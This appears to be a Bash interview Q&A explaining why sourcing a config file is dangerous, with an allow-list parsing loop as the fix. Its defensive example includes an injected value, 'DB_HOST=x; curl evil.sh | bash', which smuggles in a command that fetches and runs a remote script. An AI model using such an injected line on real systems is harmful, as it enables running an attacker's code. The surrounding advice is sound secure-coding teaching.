What is the difference between `source`-ing a config file and parsing it?
AdvancedConceptArguments, I/O, here-docs, process substitution and subshells
Answer
source app.conf executes the file as Bash. Anyone who can write it can run code as the script's user, often root (DB_HOST=x; curl evil.sh | bash). Sourcing is fine for files only root can write (check owner and mode). For anything else, parse KEY=VALUE lines with an allow-list:
while IFS='=' read -r key value; do
[[ $key =~ ^[A-Z_][A-Z0-9_]*$ ]] || continue
[[ $key == APP_* ]] || continue # only our namespace
printf -v "$key" '%s' "$value" # assigns without evaluating
done < /etc/app/app.conf
printf -v assigns the literal value, so $(...) in the file stays text.
More on Arguments, I/O, here-docs, process substitution and subshells
How does `getopts` work? Show a complete example.IntermediateWhat is the difference between `getopts` and `getopt`?AdvancedExplain file descriptors 0, 1 and 2 and the main redirection operators.BeginnerWhy is `cmd 2>&1 > file` different from `cmd > file 2>&1`?AdvancedWhat is a here-document, and what is the difference between `<<EOF`, `<<'EOF'` and `<<-EOF`?BeginnerWhat is a here-string (`<<<`)?Intermediate